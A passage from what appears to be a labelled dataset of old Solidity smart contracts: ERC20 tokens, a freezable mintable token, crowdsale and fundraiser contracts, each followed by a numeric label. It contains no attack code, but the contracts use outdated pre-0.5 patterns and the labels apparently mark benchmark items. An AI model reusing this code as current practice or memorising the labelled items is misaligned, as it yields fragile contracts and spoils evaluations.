if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 4,284 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "MinedBlock Utility";
string public constant TOKEN_SYMBOL = "MBTU";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xAa4067569c0d9039C470CccC9415f5F0781E1bfA;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[5] memory addresses = [address(0xd8dab7fea4f34979b38f4ee66e7a2a8b9296d931),address(0xd8dab7fea4f34979b38f4ee66e7a2a8b9296d931),address(0x5e33bc45425480078e819d9c107bf63b653d6cb1),address(0x5e33bc45425480078e819d9c107bf63b653d6cb1),address(0xaa4067569c0d9039c470cccc9415f5f0781e1bfa)];
uint[5] memory amounts = [uint(115000000000000000000000000),uint(30000000000000000000000000),uint(10000000000000000000000000),uint(10000000000000000000000000),uint(35000000000000000000000000)];
uint64[5] memory freezes = [uint64(0),uint64(0),uint64(0),uint64(0),uint64(1590966001)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 5,539 |
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract CrowdsaleBase is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint newEndsAt);
State public testState;
function CrowdsaleBase(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency internal returns(uint tokensBought) {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
require(tokenAmount != 0);
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold));
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
return tokenAmount;
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
if(startsAt > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) internal;
}
contract AllocatedCrowdsaleMixin is CrowdsaleBase {
address public beneficiary;
function AllocatedCrowdsaleMixin(address _beneficiary) {
beneficiary = _beneficiary;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
if(tokenAmount > getTokensLeft()) {
return true;
} else {
return false;
}
}
function isCrowdsaleFull() public constant returns (bool) {
return getTokensLeft() == 0;
}
function getTokensLeft() public constant returns (uint) {
return token.allowance(owner, this);
}
function assignTokens(address receiver, uint tokenAmount) internal {
if(!token.transferFrom(beneficiary, receiver, tokenAmount)) throw;
}
}
contract Crowdsale is CrowdsaleBase {
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) CrowdsaleBase(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerIdWithChecksum(uint128 customerId, bytes1 checksum) public payable {
if (bytes1(sha3(customerId)) != checksum) throw;
investWithCustomerId(msg.sender, customerId);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
}
contract AllocatedCrowdsale is AllocatedCrowdsaleMixin, Crowdsale {
function AllocatedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, address _beneficiary) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) AllocatedCrowdsaleMixin(_beneficiary) {
}
} | 1 | 3,273 |
pragma solidity ^0.4.22;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function minus(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function plus(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenSafe {
using SafeMath for uint;
ERC20Token token;
struct Group {
uint256 releaseTimestamp;
uint256 remaining;
mapping (address => uint) balances;
}
mapping (uint8 => Group) public groups;
constructor(address _token) public {
token = ERC20Token(_token);
}
function init(uint8 _id, uint _releaseTimestamp) internal {
require(_releaseTimestamp > 0, "TokenSafe group release timestamp is not set");
Group storage group = groups[_id];
group.releaseTimestamp = _releaseTimestamp;
}
function add(uint8 _id, address _account, uint _balance) internal {
Group storage group = groups[_id];
group.balances[_account] = group.balances[_account].plus(_balance);
group.remaining = group.remaining.plus(_balance);
}
function release(uint8 _id, address _account) public {
Group storage group = groups[_id];
require(now >= group.releaseTimestamp, "Group funds are not released yet");
uint tokens = group.balances[_account];
require(tokens > 0, "The account is empty or non-existent");
group.balances[_account] = 0;
group.remaining = group.remaining.minus(tokens);
if (!token.transfer(_account, tokens)) {
revert("Token transfer failed");
}
}
}
contract StandardToken is ERC20Token {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
constructor(string _name, string _symbol, uint8 _decimals) internal {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function balanceOf(address _address) public view returns (uint256 balance) {
return balances[_address];
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
executeTransfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= allowed[_from][msg.sender], "Insufficient allowance");
allowed[_from][msg.sender] = allowed[_from][msg.sender].minus(_value);
executeTransfer(_from, _to, _value);
return true;
}
function executeTransfer(address _from, address _to, uint256 _value) internal {
require(_to != address(0), "Invalid transfer to address zero");
require(_value <= balances[_from], "Insufficient account balance");
balances[_from] = balances[_from].minus(_value);
balances[_to] = balances[_to].plus(_value);
emit Transfer(_from, _to, _value);
}
}
contract MintableToken is StandardToken {
address public minter;
bool public mintingDisabled = false;
event MintingDisabled();
modifier canMint() {
require(!mintingDisabled, "Minting is disabled");
_;
}
modifier onlyMinter() {
require(msg.sender == minter, "Only the minter address can mint");
_;
}
constructor(address _minter) internal {
minter = _minter;
}
function mint(address _to, uint256 _value) public onlyMinter canMint {
totalSupply = totalSupply.plus(_value);
balances[_to] = balances[_to].plus(_value);
emit Transfer(0x0, _to, _value);
}
function disableMinting() public onlyMinter canMint {
mintingDisabled = true;
emit MintingDisabled();
}
}
contract HasOwner {
address public owner;
address public newOwner;
constructor(address _owner) public {
owner = _owner;
}
modifier onlyOwner {
require(msg.sender == owner, "Only owner can call this function");
_;
}
event OwnershipTransfer(address indexed _oldOwner, address indexed _newOwner);
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "Only the newOwner can accept ownership");
emit OwnershipTransfer(owner, newOwner);
owner = newOwner;
}
}
contract AbstractFundraiser {
ERC20Token public token;
event FundsReceived(address indexed _address, uint _ethers, uint _tokens);
function initializeFundraiserToken(address _token) internal
{
token = ERC20Token(_token);
}
function() public payable {
receiveFunds(msg.sender, msg.value);
}
function getConversionRate() public view returns (uint256);
function hasEnded() public view returns (bool);
function receiveFunds(address _address, uint256 _amount) internal;
function validateTransaction() internal view;
function handleTokens(address _address, uint256 _tokens) internal;
function handleFunds(address _address, uint256 _ethers) internal;
}
contract BasicFundraiser is HasOwner, AbstractFundraiser {
using SafeMath for uint256;
uint8 constant DECIMALS = 18;
uint256 constant DECIMALS_FACTOR = 10 ** uint256(DECIMALS);
uint256 public startTime;
uint256 public endTime;
address public beneficiary;
uint256 public conversionRate;
uint256 public totalRaised;
event ConversionRateChanged(uint _conversionRate);
function initializeBasicFundraiser(
uint256 _startTime,
uint256 _endTime,
uint256 _conversionRate,
address _beneficiary
)
internal
{
require(_endTime >= _startTime, "Fundraiser's end is before its start");
require(_conversionRate > 0, "Conversion rate is not set");
require(_beneficiary != address(0), "The beneficiary is not set");
startTime = _startTime;
endTime = _endTime;
conversionRate = _conversionRate;
beneficiary = _beneficiary;
}
function setConversionRate(uint256 _conversionRate) public onlyOwner {
require(_conversionRate > 0, "Conversion rate is not set");
conversionRate = _conversionRate;
emit ConversionRateChanged(_conversionRate);
}
function setBeneficiary(address _beneficiary) public onlyOwner {
require(_beneficiary != address(0), "The beneficiary is not set");
beneficiary = _beneficiary;
}
function receiveFunds(address _address, uint256 _amount) internal {
validateTransaction();
uint256 tokens = calculateTokens(_amount);
require(tokens > 0, "The transaction results in zero tokens");
totalRaised = totalRaised.plus(_amount);
handleTokens(_address, tokens);
handleFunds(_address, _amount);
emit FundsReceived(_address, msg.value, tokens);
}
function getConversionRate() public view returns (uint256) {
return conversionRate;
}
function calculateTokens(uint256 _amount) internal view returns(uint256 tokens) {
tokens = _amount.mul(getConversionRate());
}
function validateTransaction() internal view {
require(msg.value != 0, "Transaction value is zero");
require(now >= startTime && now < endTime, "The fundraiser is not active");
}
function hasEnded() public view returns (bool) {
return now >= endTime;
}
}
contract StandardMintableToken is MintableToken {
constructor(address _minter, string _name, string _symbol, uint8 _decimals)
StandardToken(_name, _symbol, _decimals)
MintableToken(_minter)
public
{
}
}
contract MintableTokenFundraiser is BasicFundraiser {
function initializeMintableTokenFundraiser(string _name, string _symbol, uint8 _decimals) internal {
token = new StandardMintableToken(
address(this),
_name,
_symbol,
_decimals
);
}
function handleTokens(address _address, uint256 _tokens) internal {
MintableToken(token).mint(_address, _tokens);
}
}
contract IndividualCapsFundraiser is BasicFundraiser {
uint256 public individualMinCap;
uint256 public individualMaxCap;
uint256 public individualMaxCapTokens;
event IndividualMinCapChanged(uint256 _individualMinCap);
event IndividualMaxCapTokensChanged(uint256 _individualMaxCapTokens);
function initializeIndividualCapsFundraiser(uint256 _individualMinCap, uint256 _individualMaxCap) internal {
individualMinCap = _individualMinCap;
individualMaxCap = _individualMaxCap;
individualMaxCapTokens = _individualMaxCap * conversionRate;
}
function setConversionRate(uint256 _conversionRate) public onlyOwner {
super.setConversionRate(_conversionRate);
if (individualMaxCap == 0) {
return;
}
individualMaxCapTokens = individualMaxCap * _conversionRate;
emit IndividualMaxCapTokensChanged(individualMaxCapTokens);
}
function setIndividualMinCap(uint256 _individualMinCap) public onlyOwner {
individualMinCap = _individualMinCap;
emit IndividualMinCapChanged(individualMinCap);
}
function setIndividualMaxCap(uint256 _individualMaxCap) public onlyOwner {
individualMaxCap = _individualMaxCap;
individualMaxCapTokens = _individualMaxCap * conversionRate;
emit IndividualMaxCapTokensChanged(individualMaxCapTokens);
}
function validateTransaction() internal view {
super.validateTransaction();
require(
msg.value >= individualMinCap,
"The transaction value does not pass the minimum contribution cap"
);
}
function handleTokens(address _address, uint256 _tokens) internal {
require(
individualMaxCapTokens == 0 || token.balanceOf(_address).plus(_tokens) <= individualMaxCapTokens,
"The transaction exceeds the individual maximum cap"
);
super.handleTokens(_address, _tokens);
}
}
contract GasPriceLimitFundraiser is HasOwner, BasicFundraiser {
uint256 public gasPriceLimit;
event GasPriceLimitChanged(uint256 gasPriceLimit);
function initializeGasPriceLimitFundraiser(uint256 _gasPriceLimit) internal {
gasPriceLimit = _gasPriceLimit;
}
function changeGasPriceLimit(uint256 _gasPriceLimit) public onlyOwner {
gasPriceLimit = _gasPriceLimit;
emit GasPriceLimitChanged(_gasPriceLimit);
}
function validateTransaction() internal view {
require(gasPriceLimit == 0 || tx.gasprice <= gasPriceLimit, "Transaction exceeds the gas price limit");
return super.validateTransaction();
}
}
contract ForwardFundsFundraiser is BasicFundraiser {
function handleFunds(address, uint256 _ethers) internal {
beneficiary.transfer(_ethers);
}
}
contract PresaleFundraiser is MintableTokenFundraiser {
uint256 public presaleSupply;
uint256 public presaleMaxSupply;
uint256 public presaleStartTime;
